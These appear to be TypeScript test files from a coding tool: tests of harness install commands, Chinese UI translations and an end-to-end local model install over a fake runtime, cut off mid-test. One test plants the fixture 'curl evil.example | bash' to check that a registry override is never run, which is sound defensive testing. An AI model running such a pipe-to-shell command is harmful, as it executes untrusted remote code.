expect(facts.every((f) => f.installed === false)).toBe(true);
// opencode's install command is a curl installer on every platform the registry lists.
expect(facts[0].installable).toBe(true);
});
it('an empty harness list is an empty answer', async () => {
expect(await buildHarnessFacts(catalogWith([]))).toEqual([]);
});
describe('installCommand: the literal command the consent screen prints', () => {
it('is present exactly when the fact is installable, and is the command that was judged', async () => {
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
probeInstalled: installedOnly('claude'),
installCommandFor: darwinCommand,
});
for (const fact of facts) {
expect('installCommand' in fact).toBe(fact.installable);
}
const byCli = new Map(facts.map((f) => [f.cli, f]));
expect(byCli.get('opencode')?.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
expect(byCli.get('pi')?.installCommand).toBe(darwinCommand(stockEntry('pi')));
// Installed: nothing would be run, so nothing is shown.
expect(byCli.get('claude')).not.toHaveProperty('installCommand');
// Homebrew needs an administrator: not installable, and no command is offered.
expect(byCli.get('omp')).not.toHaveProperty('installCommand');
});
it('with its default dependencies it is the stock command of this platform', async () => {
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
expect(fact).toMatchObject({
installed: false,
installable: true,
installCommand: stockInstallCommand('opencode'),
});
expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
});
it('a clis.json override of the install command changes neither the fact nor whether it is installable', async () => {
const path = registryFilePath();
mkdirSync(dirname(path), { recursive: true });
writeFileSync(
path,
JSON.stringify({
schemaVersion: 1,
clis: {
opencode: {
discovery: {
install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
},
},
},
}),
{ mode: 0o600 }
);
reloadCliRegistry();
// The override is what the registry now says...
expect(stockEntry('opencode').discovery.install.command.darwin).toBe('curl evil.example | bash');
// ...and it is not what the install job would run, so it is not what the fact carries.
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
expect(fact.installable).toBe(true);
expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
});
it('an override that makes the registry command need an administrator does not hide a stock command that needs none', async () => {
const path = registryFilePath();
mkdirSync(dirname(path), { recursive: true });
writeFileSync(
path,
JSON.stringify({
schemaVersion: 1,
clis: { opencode: { discovery: { install: { command: { linux: 'sudo true', darwin: 'sudo true' } } } } },
}),
{ mode: 0o600 }
);
reloadCliRegistry();
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
expect(fact.installable).toBe(true);
expect(fact.installCommand).not.toContain('sudo');
});
it('a custom entry never carries a command: its install text is never run', async () => {
const custom = (id: string): CliEntry | undefined => {
const entry = getCli(id);
return entry ? { ...entry, stock: false } : entry;
};
const [fact] = await buildHarnessFacts(catalogWith(['opencode']), {
getCli: custom,
probeInstalled: installedOnly(),
installCommandFor: darwinCommand,
});
expect(fact.installable).toBe(false);
expect(fact).not.toHaveProperty('installCommand');
});
});
});
+226
View File
@@ -0,0 +1,226 @@
/**
* @fileoverview "Run a model on this Mac" in Chinese (zh-CN): the welcome button, the chooser
* window and the App Settings group.
*
* Three sources of text, all checked against the real dictionary in i18n.js:
* - the module's own strings, HARVESTED from the real local-model-ui.js (every literal it
* passes to `localModelT`), so a new string without an entry fails here instead of showing
* up English on one surface;
* - every sentence and label the SERVER may send: the recommendation (`LOCAL_MODEL_LABELS`),
* the tag of a model row (`LOCAL_MODEL_TAG_LABELS`) and the install
* (`LOCAL_MODEL_INSTALL_LABELS`), all imported from the contract, so a label added there
* fails here until it has an entry;
* - the static strings of the real index.html (the Settings group's heading and hint, the
* window's title), run through the real DOM translator.
*
* The window's body, the welcome button and the Settings row carry data-i18n-skip (model,
* coding agent and chip names are someone else's text), so nothing in them is reached by the
* DOM translator: these strings translate only through the module's own call, which is why
* they are checked through `t()` here.
*
* Beyond "it is Chinese now", each entry must keep its `{placeholder}` slots: a translation
* that drops one prints a sentence without its number.
*
* Port: N/A.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { JSDOM } from 'jsdom';
import { afterAll, describe, expect, it } from 'vitest';
import {
LOCAL_MODEL_ERROR_LABELS,
LOCAL_MODEL_INSTALL_LABELS,
LOCAL_MODEL_LABELS,
LOCAL_MODEL_NONE_LABELS,
LOCAL_MODEL_TAG_LABELS,
} from '../src/types.js';
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
const MODULE = readFileSync(resolve(PUBLIC, 'local-model-ui.js'), 'utf8');
type Api = {
configure(o: Record<string, string>): void;
start(): void;
t(source: string, vars?: Record<string, string>): string;
};
/** Every literal the module hands to its translator call (Prettier may break after the paren). */
const FROM_MODULE = [...new Set([...MODULE.matchAll(/localModelT\(\s*'([^']+)'/g)].map((m) => m[1]))];
/** Every text the server may send: the recommendation, the tag of a row, the install. */
const FROM_SERVER: string[] = [
...new Set([
...Object.values(LOCAL_MODEL_LABELS),
...Object.values(LOCAL_MODEL_TAG_LABELS),
...Object.values(LOCAL_MODEL_INSTALL_LABELS),
]),
];
/** A page with only the translator in it: enough for `t()`, and cheap to re-configure. */
const small = new JSDOM('<!doctype html><html><body></body></html>', {
runScripts: 'outside-only',
url: 'http://localhost/',
});
vm.runInContext(I18N, small.getInternalVMContext(), { filename: 'i18n.js' });
const api = (small.window as unknown as { CodemanI18n: Api }).CodemanI18n;
api.configure({ language: 'zh-CN' });
/** The real page, translated once, for the strings that live in index.html. */
const page = new JSDOM(INDEX, { runScripts: 'outside-only', url: 'http://localhost/' });
vm.runInContext(I18N, page.getInternalVMContext(), { filename: 'i18n.js' });
const pageApi = (page.window as unknown as { CodemanI18n: Api }).CodemanI18n;
pageApi.start();
pageApi.configure({ language: 'zh-CN' });
afterAll(() => {
small.window.close();
page.window.close();
});
/** The static strings of the page, as index.html ships them (English): the Settings group and the window's title. */
const GROUP_MARKUP = INDEX.match(
/<div class="set-group" id="localModelGroup">\s*<div class="set-group-head"><h4>([^<]+)<\/h4><\/div>\s*<p class="set-group-hint">([^<]+)<\/p>/
);
const TITLE_MARKUP = INDEX.match(/<h3 id="localModelModalTitle">([^<]+)<\/h3>/);
const STATIC =
GROUP_MARKUP && TITLE_MARKUP ? [GROUP_MARKUP[1].trim(), GROUP_MARKUP[2].trim(), TITLE_MARKUP[1].trim()] : [];
const ALL = [...new Set([...FROM_MODULE, ...FROM_SERVER, ...STATIC])];
/** The `{slot}` names of a source text. */
const slots = (text: string) => [...text.matchAll(/\{([a-zA-Z]\w*)\}/g)].map((m) => m[1]);
/** U+2013, U+2014 and U+2015, built from their code points so this file holds none of them. */
const LONG_DASH = new RegExp(`[${String.fromCharCode(0x2013, 0x2014, 0x2015)}]`);
/**
* What may stay Latin: the product, the platform and its vendors, the units, Token (the
* dictionary's own word), and the proper names of the install (the runtime, the two tools a
* coding agent calls, the GPU and an API key).
*/
const leftover = (text: string) =>
text.replace(/\b(Codeman|macOS|Mac|GB|MB|Apple|Intel|Token|Ollama|GPU|API|git|Python)\b/g, '').match(/[A-Za-z]+/g) ??
[];
describe('the local model strings in zh-CN', () => {
it('harvests the module (the check is not vacuous)', () => {
expect(FROM_MODULE).toContain('Run a local model');
expect(FROM_MODULE).toContain('Local model');
expect(FROM_MODULE).toContain('About {need} of {budget} GB of memory');
expect(FROM_MODULE).toContain('Install on this Mac');
expect(FROM_MODULE).toContain('Download and install');
expect(FROM_MODULE).toContain('{speed} MB per second, {left}');
expect(FROM_MODULE).toContain('You can close this window. The download continues while Codeman is running.');
expect(FROM_MODULE).toContain('Start a session');
expect(FROM_MODULE).toContain('{model} is ready on this Mac.');
expect(FROM_MODULE.length).toBeGreaterThanOrEqual(70);
// The only other way the module calls its translator is with payload text (a server
// sentence, or the tag of a row), so no string of its own can reach the page unharvested.
const code = MODULE.split('\n')
.filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line))
.join('\n');
const calls = code.split('localModelT(').length - 1;
const literalCalls = [...code.matchAll(/localModelT\(\s*'/g)].length;
const payloadCalls = [...code.matchAll(/localModelT\((message\.text, message\.vars|label)\)/g)].length;
// One more: the function's own declaration.
expect(calls).toBe(literalCalls + payloadCalls + 1);
expect(payloadCalls).toBe(2);
// The stage that only read is gone, with its sentence.
expect(MODULE).not.toContain('cannot download or install');
});
it('lists every server label: the recommendation, the tags and the install', () => {
// A label added to the contract later fails below by its text, not here by a count.
expect(FROM_SERVER.length).toBeGreaterThanOrEqual(18 + 3 + 26);
for (const text of Object.values(LOCAL_MODEL_NONE_LABELS)) expect(FROM_SERVER).toContain(text);
// Every error code has its sentence in the list.
for (const text of Object.values(LOCAL_MODEL_ERROR_LABELS)) expect(FROM_SERVER).toContain(text);
expect(FROM_SERVER).toContain('Best fit for this Mac');
expect(FROM_SERVER).toContain('Speed unknown');
expect(FROM_SERVER).toContain('Tested on a Mac like this');
expect(FROM_SERVER).toContain('Best fit');
expect(FROM_SERVER).toContain('Small model');
expect(FROM_SERVER).toContain(LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged);
expect(FROM_SERVER).toContain(LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen);
// The two other sentences of the `memory` reason and the two notes are not in the
// reason map, so they are named here.
expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noneMemoryContext);
expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noneMemoryUnknown);
expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noteSmallPick);
expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noteDiskDropped);
});
it('prints the developer tools sentence from one source', () => {
// Not sent by the server: the window prints it when `developerTools` is `missing`. The
// module's literal is the contract's text, so one dictionary entry serves both.
expect(FROM_MODULE).toContain(LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing);
});
it('never uses the translator slot {name} for a value of its own', () => {
for (const text of ALL) expect(slots(text), text).not.toContain('name');
});
it.each(ALL)('translates %s, with no English left', (text) => {
const chinese = api.t(text);
expect(chinese).not.toBe(text);
expect(leftover(chinese)).toEqual([]);
// No long dash in any form: commas, colons and parentheses only.
expect(chinese).not.toMatch(LONG_DASH);
});
it.each(ALL.filter((text) => slots(text).length > 0))('keeps every slot of %s', (text) => {
// Digits only, so a marker is neither translated nor counted as leftover English.
const vars = Object.fromEntries(slots(text).map((slot, i) => [slot, `90${i}1`]));
const chinese = api.t(text, vars);
for (const value of Object.values(vars)) expect(chinese, `${text} lost a slot`).toContain(value);
expect(chinese).not.toMatch(/[{}]/);
});
it('keeps the product name a slot, so a custom display name reaches the Chinese text', () => {
api.configure({ language: 'zh-CN', displayName: 'Acme' });
try {
for (const text of ALL.filter((candidate) => candidate.includes('Codeman'))) {
const chinese = api.t(text);
expect(chinese, text).toContain('Acme');
expect(chinese, text).not.toContain('Codeman');
}
} finally {
api.configure({ language: 'zh-CN', displayName: 'Codeman' });
}
});
it('adds each key to the dictionary once', () => {
// A repeated key in the object literal silently replaces the first. Prettier leaves a key
// that is one word unquoted.
for (const text of ALL) {
const bare = /^\w+$/.test(text) ? I18N.split(`\n ${text}: `).length - 1 : 0;
expect(I18N.split(`'${text}':`).length - 1 + bare, text).toBe(1);
}
});
it('translates the static strings in the page, and leaves what the module writes alone', () => {
expect(STATIC).toHaveLength(3);
expect(STATIC[0]).toBe('Model on this Mac');
expect(STATIC[2]).toBe('Run a model on this Mac');
const translated = page.window.document.getElementById('localModelGroup')!;
const heading = translated.querySelector('.set-group-head h4')!.textContent!.trim();
const hint = translated.querySelector('.set-group-hint')!.textContent!.trim();
expect(heading).toBe('此 Mac 上的模型');
expect(hint).not.toBe(STATIC[1]);
expect(hint).toBe(api.t(STATIC[1]));
expect(leftover(hint)).toEqual([]);
const title = page.window.document.getElementById('localModelModalTitle')!.textContent!.trim();
expect(title).toBe('在此 Mac 上运行模型');
// The dialog's close button is named in Chinese too.
const close = page.window.document.querySelector('#localModelModal .modal-close')!;
expect(close.getAttribute('aria-label')).toBe('关闭');
// Written only by the module, through its own translator call. The button keeps the
// English label it ships with until the module shows it.
for (const id of ['welcomeLocalModelBtn', 'localModelSettings', 'localModelSettingsOpen', 'localModelWindowBody']) {
expect(INDEX).toMatch(new RegExp(`id="${id}"[^>]*data-i18n-skip`));
}
expect(page.window.document.getElementById('welcomeLocalModelLabel')!.textContent).toBe('Run a local model');
});
});
+763
View File
@@ -0,0 +1,763 @@
/**
* @fileoverview The local model install from the first GET to Remove, with the REAL modules
* joined together: the routes, the install service, the catalogue and `recommend()`, the
* runtime download and unpack, the supervisor, the pull, the checks, the connection and the
* state file. Only what would touch the world is a stand-in:
*
* - the runtime is the fake HTTP server of test/fixtures/fake-ollama.ts (one instance serves
* the archive, a second one is what the supervisor "starts" through the fake's `spawn`);
* - the pin points at the fake's small archive and carries that archive's own sha256, so the
* real download, the real hash comparison and the real `/usr/bin/tar` run;
* - the hardware is the owner's MacBook as its `sysctl` reported it (Apple M5 Pro, 48 GB);
* - the coding agent's installer is a function that says it ran;
* - the waits between retries are skipped (the retries themselves are the real ones).
*
* Nothing is downloaded from the network, no process is started and no fixed port is used
* (the runtime's port is one the system handed out). Files live in the test's temp data dir.
*
* The walks: the whole install and its removal; a damaged runtime download; a model download
* that fails twice and then succeeds; one that keeps failing; a model that calls no tool;
* Cancel during the model download; a server restart during the model download; a server
* that is KILLED during the model download and leaves its runtime running.
*
* "A server" here is one install service with its own runtime supervisor (`startServer()`).
* A restart is `shutdown()` of the one and a new one over the same data dir.
*
* The other tests give each module fakes of its neighbours. This one is what fails when two
* modules that each pass their own tests do not fit together.
*
* Port: the fake runtime binds port 0 twice; the routes use app.inject().
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { rm } from 'node:fs/promises';
import { dirname } from 'node:path';
import { createRouteTestHarness } from './routes/_route-test-utils.js';
import {
createFakeOllama,
freeLoopbackPort,
MACBOOK_MEASURED_TOTAL_BYTES,
startFakeOllama,
type FakeOllama,
} from './fixtures/fake-ollama.js';
import { dataPath, getDataDir } from '../src/config/instance.js';
import { customModelHostsPath, readCustomModelHosts } from '../src/custom-model-hosts.js';
import { createLocalModelService, type LocalModelService } from '../src/local-model/install-job.js';
import { memClassGb, formatGb } from '../src/local-model/format.js';
import { pullModel, PULL_RETRIES } from '../src/local-model/ollama-client.js';
import { localModelPaths, type LocalModelPaths } from '../src/local-model/paths.js';
import {
createRuntimeSupervisor,
ensureRuntimeInstalled,
type RuntimeSupervisorDeps,
} from '../src/local-model/runtime.js';
import { readLocalModelState } from '../src/local-model/state-store.js';
import { registerLocalModelRoutes } from '../src/web/routes/local-model-routes.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
import type { Candidate, HardwareFacts, HarnessFact, LocalModelInstallView, LocalModelStatus } from '../src/types.js';
const INSTALL_COMMAND = 'curl -fsSL https://opencode.ai/install | bash';
/** The owner's MacBook, from its sysctl capture of 2026-11-06. */
const MACBOOK: HardwareFacts = {
platform: 'darwin',
arch: 'arm64',
arm64: true,
translated: false,
memBytes: 51539607552,
memGb: formatGb(51539607552),
memClassGb: memClassGb(51539607552),
chip: 'Apple M5 Pro',
model: 'Mac17,13',
macosVersion: '27.2',
macosMajor: 27,
wiredLimitMb: 0,
freeDiskBytes: 912308310016,
freeDiskGb: formatGb(912308310016),
source: 'sysctl',
};
interface World {
archive: FakeOllama;
runtime: FakeOllama | undefined;
port: number;
paths: LocalModelPaths;
agentInstalled: boolean;
installerRuns: number;
/** How many of the next archive downloads arrive with one byte changed (the size stays the pinned one). */
damagedDownloads: number;
/** The server that is up. A restart replaces it. */
service: LocalModelService;
/** Every server of the test, for the clean-up. */
services: LocalModelService[];
sessions: Map<string, { name: string; customModel?: { endpointId: string } }>;
}
let world: World;
const HOSTS = () => customModelHostsPath(getDataDir());
const STATE = () => dataPath('local-model.json');
const harnessFacts = async (): Promise<HarnessFact[]> => [
{
cli: 'opencode',
label: 'OpenCode',
installed: world.agentInstalled,
installable: !world.agentInstalled,
...(world.agentInstalled ? {} : { installCommand: INSTALL_COMMAND }),
acceptsModelId: () => true,
},
];
/**
* The download of the runtime archive: the real `fetch` against the fake's archive. While
* `world.damagedDownloads` is above 0 the body arrives with its last byte changed, as a
* download damaged on the way does: the size is still the pinned one, only the hash can tell.
*/
const archiveFetch: typeof fetch = async (input, init) => {
const res = await fetch(input, init);
if (world.damagedDownloads <= 0 || !res.ok) return res;
world.damagedDownloads -= 1;
const body = Buffer.from(await res.arrayBuffer());
body[body.length - 1] ^= 0xff;
return new Response(body, { status: res.status, headers: { 'content-length': String(body.length) } });
};
/**
* One Codeman server as far as this feature goes: an install service with its own runtime
* supervisor, over the data dir, the pin and the port of the test. It becomes `world.service`,
* which is the one the routes ask.
*/
function startServer(processes: Partial<Pick<RuntimeSupervisorDeps, 'commandOfPid' | 'kill'>> = {}): LocalModelService {
const pin = world.archive.pin();
const { paths, port } = world;
const supervisor = createRuntimeSupervisor({
// "Starting the runtime" makes the second fake listen on the port it was given.
spawn: (command, args, options) => {
if (!world.runtime) throw new Error('The test did not prepare a runtime');
return world.runtime.spawn(command, args, options);
},
fetch,
env: { PATH: process.env.PATH, CODEMAN_PASSWORD: 'must-not-reach-the-runtime', OLLAMA_ORIGINS: '*' },
commandOfPid: async () => undefined,
kill: () => {},
...processes,
sleep: async () => {},
pin,
paths,
onChange: (status) => service.onRuntimeChange(status),
});
const service: LocalModelService = createLocalModelService({
readHardware: async () => MACBOOK,
buildHarnessFacts: harnessFacts,
pin,
paths,
// The real download and unpack, told where the network is: the fake's archive.
ensureRuntimeInstalled: (options) =>
ensureRuntimeInstalled({ ...options, deps: { fetch: archiveFetch, sleep: async () => {} } }),
// The real pull with its real retries, without the seconds between them.
pullModel: (target, modelId, options) => pullModel(target, modelId, { ...options, sleep: async () => {} }),
chooseRuntimePort: async () => port,
supervisor,
recheckCliInstalled: async () => world.agentInstalled,
tryBeginCliInstall: () => () => {},
runInstallCommand: async () => {
world.installerRuns++;
world.agentInstalled = true;
return { code: 0, output: 'opencode installed\n', timedOut: false, aborted: false };
},
audit: async () => {},
checkDeveloperTools: async () => 'missing',
});
world.service = service;
world.services.push(service);
return service;
}
beforeEach(async () => {
const archive = await startFakeOllama();
world = {
archive,
runtime: undefined,
port: await freeLoopbackPort(),
paths: localModelPaths('0.40.15'),
agentInstalled: false,
installerRuns: 0,
damagedDownloads: 0,
service: undefined as unknown as LocalModelService,
services: [],
sessions: new Map(),
};
startServer();
});
afterEach(async () => {
for (const service of world.services) await service.shutdown();
await world.archive.close();
await world.runtime?.close();
await rm(world.paths.root, { recursive: true, force: true });
rmSync(STATE(), { force: true });
rmSync(HOSTS(), { force: true });
rmSync(SETTINGS_PATH, { force: true });
vi.restoreAllMocks();
});
async function routes() {
const { app } = await createRouteTestHarness((instance) =>
registerLocalModelRoutes(
instance,
{ sessions: world.sessions },
{ readHardware: async () => MACBOOK, buildHarnessFacts: harnessFacts, service: () => world.service }
)
);
const get = async (): Promise<LocalModelStatus> =>
(await app.inject({ method: 'GET', url: '/api/local-model' })).json().data;
/** Polls the GET the way the window does, until the job is no longer running. */
const settled = async (): Promise<LocalModelInstallView> => {
let install = (await get()).install;
await vi.waitFor(
async () => {
install = (await get()).install;
expect(install.state).not.toBe('installing');
},
{ timeout: 20_000, interval: 25 }
);
return install;
};
/** The click on "Download and install" for the row the server recommends, with the size it showed. */
const install = (pick: Candidate) =>
app.inject({
method: 'POST',
url: '/api/local-model/install',
payload: { modelId: pick.modelId, cli: 'opencode', context: pick.context, acknowledgedBytes: pick.installBytes },
});
/** Polls until the model download is under way and has moved. */
const pulling = async (): Promise<void> => {
await vi.waitFor(
async () => {
const status = await get();
expect(status.install.step).toBe('model');
expect(status.install.progress?.completedBytes ?? 0).toBeGreaterThan(0);
},
{ timeout: 20_000, interval: 20 }
);
};
return { app, get, settled, install, pulling };
}
/** The runtime the supervisor will "start": it has exactly the model the server recommended. */
function prepareRuntime(pick: Candidate): FakeOllama {
world.runtime = createFakeOllama({
model: { id: pick.modelId, bytes: pick.downloadBytes },
contextLength: pick.context,
});
return world.runtime;
}
/** A model download that takes a while: 400 lines, 5 ms apart. */
function slowPull(runtime: FakeOllama): void {
runtime.switches.pull.progressLines = 400;
runtime.switches.pull.lineDelayMs = 5;
}
function quickPull(runtime: FakeOllama): void {
runtime.switches.pull.progressLines = 20;
runtime.switches.pull.lineDelayMs = 0;
}
describe('the install from the first GET to Remove, real modules over a fake runtime', () => {
it('recommends for the MacBook, installs what was confirmed, connects it, refuses a changed model, and removes all of it', async () => {
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, JSON.stringify({ tmuxHistoryLimit: 5000 }));
const { app, get, settled, install: clickInstall } = await routes();
// ---- The chooser: what the window shows before anything is installed ----
const before = await get();
expect(before.install).toMatchObject({
state: 'idle',
running: false,
developerTools: 'missing',
actions: ['install'],
folder: world.paths.root,
runtime: { version: '0.40.15', installed: false, downloadBytes: world.archive.archive.size },
});
expect(before.recommendation.verdict).toBe('ok');
expect(before.recommendation.budgetSource).toBe('estimated');
const pick = before.recommendation.pick!;
expect(pick).toBeDefined();
// The MacBook's row: the one model that was run on a Mac like it, with its measured speed.
expect(pick).toMatchObject({
modelId: 'qwen3.6:35b-a3b',
context: 131072,
fit: 'tight',
needSource: 'measured',
tested: true,
tag: { kind: 'tested' },
});
// The row carries the coding agent and the literal command the consent screen prints.
expect(pick.harnesses[0]).toMatchObject({
cli: 'opencode',
cliLabel: 'OpenCode',
installed: false,
installCommand: INSTALL_COMMAND,
});
// The server's own total: the model plus the runtime archive that is still to download.
expect(pick.installBytes).toBe(pick.downloadBytes + world.archive.archive.size);
expect(pick.installGb).toBe(formatGb(pick.installBytes));
const runtime = prepareRuntime(pick);
// ---- Consent is bound to the size shown ----
const stale = await app.inject({
method: 'POST',
url: '/api/local-model/install',
payload: { modelId: pick.modelId, cli: 'opencode', context: pick.context, acknowledgedBytes: pick.downloadBytes },
});
expect(stale.statusCode).toBe(409);
expect(stale.json().data).toMatchObject({ reason: 'size-changed', expectedBytes: pick.installBytes });
expect(world.archive.state.archiveRequests).toBe(0);
// ---- Install ----
const started = await clickInstall(pick);
expect(started.statusCode).toBe(200);
expect(started.json().data).toMatchObject({
state: 'installing',
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
model: { id: pick.modelId, label: pick.modelLabel },
cli: 'opencode',
context: pick.context,
actions: ['cancel'],
});
// One job at a time.
const second = await clickInstall(pick);
expect(second.statusCode).toBe(409);
expect(second.json().data).toMatchObject({ reason: 'job-running' });
const install = await settled();
expect(install.error).toBeUndefined();
expect(install).toMatchObject({
state: 'installed',
running: true,
port: world.port,
model: { id: pick.modelId, label: pick.modelLabel },
cli: 'opencode',
cliLabel: 'OpenCode',
context: pick.context,
endpointId: 'local-ollama',
folder: world.paths.root,
loaded: { context: pick.context, onGpu: true },
actions: ['start-session', 'stop', 'remove'],
runtime: { installed: true, downloadBytes: 0, downloadGb: formatGb(0) },
});
// ---- What really happened ----
// The runtime was downloaded once, unpacked, and "started" with the allowlisted environment.
expect(world.archive.state.archiveRequests).toBe(1);
expect(existsSync(world.paths.binary)).toBe(true);
expect(existsSync(world.paths.archivePartial)).toBe(false);
expect(runtime.state.children).toHaveLength(1);
const env = runtime.state.children[0].env;
expect(env.OLLAMA_HOST).toBe(`127.0.0.1:${world.port}`);
expect(env.OLLAMA_CONTEXT_LENGTH).toBe(String(pick.context));
expect(env.HOME).toBe(world.paths.homeDir);
expect(env.OLLAMA_MODELS).toBe(world.paths.modelsDir);
expect(Object.keys(env).filter((key) => key.startsWith('CODEMAN_'))).toEqual([]);
expect(env).not.toHaveProperty('OLLAMA_ORIGINS');
// One pull, one coding agent install.
expect(runtime.state.pulls).toBe(1);
expect(world.installerRuns).toBe(1);
// The state file: the measured budget, the pull's own total, the digest.
const state = await readLocalModelState();
expect(state).toMatchObject({
state: 'installed',
model: { id: pick.modelId, context: pick.context, pullBytes: runtime.model.bytes, digest: runtime.model.digest },
runtime: {
version: '0.40.15',
port: world.port,
enabled: true,
measuredTotalBytes: MACBOOK_MEASURED_TOTAL_BYTES,
},
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
});
expect(JSON.stringify(state)).not.toContain(getDataDir());
// The two writes outside the folder, and nothing else changed there.
expect(await readCustomModelHosts(getDataDir())).toEqual([
{
id: 'local-ollama',
label: 'This Mac',
baseUrl: `http://127.0.0.1:${world.port}`,
authStyle: 'bearer',
models: [pick.modelId],
defaultModelId: pick.modelId,
defaultContextLength: pick.context,
},
]);
expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'))).toEqual({
tmuxHistoryLimit: 5000,
customModelEndpointsEnabled: true,
});
// From now on the budget of the GET is the measured one.
const after = await get();
expect(after.recommendation.budgetSource).toBe('measured');
expect(after.recommendation.budgetBytes).toBeLessThanOrEqual(MACBOOK_MEASURED_TOTAL_BYTES);
// ---- A session may start, until the model changes under its name ----
expect(await world.service.launchRefusalMessage('local-ollama', pick.modelId)).toBeUndefined();
runtime.model.digest = 'f'.repeat(64);
expect(await world.service.launchRefusalMessage('local-ollama', pick.modelId)).toBe(
'The model on this Mac changed since it was installed. Remove it and install it again.'
);
expect((await get()).install).toMatchObject({
state: 'installed',
error: { code: 'model-changed', next: 'remove' },
});
// ---- Remove ----
world.sessions.set('s1', { name: 'w1-app', customModel: { endpointId: 'local-ollama' } });
const refused = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
expect(refused.statusCode).toBe(409);
expect(refused.json().data).toMatchObject({ reason: 'sessions-open', sessions: ['w1-app'] });
expect(existsSync(world.paths.binary)).toBe(true);
world.sessions.clear();
const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
expect(removed.statusCode).toBe(200);
expect(removed.json().data).toMatchObject({ state: 'idle', running: false, actions: ['install'] });
// The child was stopped and the whole folder is gone: the runtime, the private home, the models.
expect(runtime.state.children[0].signals).toContain('SIGTERM');
expect(runtime.listening).toBe(false);
expect(existsSync(world.paths.root)).toBe(false);
// Our record is gone, and the flag this feature switched on is off again.
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'))).toEqual({
tmuxHistoryLimit: 5000,
customModelEndpointsEnabled: false,
});
expect((await readLocalModelState()).state).toBe('idle');
// The chooser is back, with the runtime download in the total again.
const again = await get();
expect(again.install.runtime).toMatchObject({ installed: false, downloadBytes: world.archive.archive.size });
expect(again.recommendation.pick?.installBytes).toBe(pick.installBytes);
}, 60_000);
it('a runtime download that arrives damaged is deleted before anything is unpacked, and Try again gets it', async () => {
const { get, settled, install: clickInstall, app } = await routes();
const pick = (await get()).recommendation.pick!;
const runtime = prepareRuntime(pick);
world.damagedDownloads = 1;
await clickInstall(pick);
const failed = await settled();
expect(failed).toMatchObject({
state: 'failed',
step: 'runtime',
error: { code: 'runtime-damaged', next: 'retry' },
actions: ['resume', 'install', 'remove'],
runtime: { installed: false },
});
expect(failed.error?.detail).toContain(world.archive.archive.sha256);
// The hash was compared first: the file is gone, nothing was unpacked, nothing was started.
expect(world.archive.state.archiveRequests).toBe(1);
expect(existsSync(world.paths.archivePartial)).toBe(false);
expect(existsSync(world.paths.unpackDir)).toBe(false);
expect(existsSync(world.paths.runtimeDir)).toBe(false);
expect(runtime.state.children).toHaveLength(0);
expect(runtime.state.pulls).toBe(0);
// "Try again" downloads the archive again, and this time it is the pinned one.
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
expect(resumed.statusCode).toBe(200);
expect((await settled()).state).toBe('installed');
expect(world.archive.state.archiveRequests).toBe(2);
expect(existsSync(world.paths.binary)).toBe(true);
expect(runtime.state.children).toHaveLength(1);
}, 60_000);
it('a model download that fails twice is asked again and finishes; Remove leaves another saved endpoint and the models', async () => {
writeFileSync(HOSTS(), JSON.stringify([{ id: 'office', label: 'Office', baseUrl: 'http://192.168.1.50:8080' }]));
const { app, get, settled, install: clickInstall } = await routes();
const pick = (await get()).recommendation.pick!;
const runtime = prepareRuntime(pick);
// The real error line of a pull whose download kept failing, on the first two pulls.
runtime.switches.pull.fail = 'error-line';
runtime.switches.pull.failTimes = 2;
await clickInstall(pick);
const install = await settled();
expect(install.error).toBeUndefined();
expect(install.state).toBe('installed');
expect(runtime.state.pulls).toBe(3);
// The size of the model is the pull's own total.
expect((await readLocalModelState()).model?.pullBytes).toBe(runtime.model.bytes);
expect(await readCustomModelHosts(getDataDir())).toMatchObject([{ id: 'office' }, { id: 'local-ollama' }]);
// Remove without the box: the model store stays for a later install.
const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: false } });
expect(removed.json().data.state).toBe('idle');
expect(existsSync(world.paths.runtimeRoot)).toBe(false);
expect(existsSync(world.paths.homeDir)).toBe(false);
expect(existsSync(world.paths.modelsDir)).toBe(true);
// The other endpoint stays, and so does the flag it needs, although this feature switched it on.
expect(await readCustomModelHosts(getDataDir())).toEqual([
{ id: 'office', label: 'Office', baseUrl: 'http://192.168.1.50:8080' },
]);
expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled).toBe(true);
}, 60_000);
it('a model download that keeps failing ends failed after its retries, and Try again continues it', async () => {
const { app, get, settled, install: clickInstall } = await routes();
const pick = (await get()).recommendation.pick!;
const runtime = prepareRuntime(pick);
runtime.switches.pull.fail = 'error-line';
await clickInstall(pick);
const failed = await settled();
expect(failed).toMatchObject({
state: 'failed',
step: 'model',
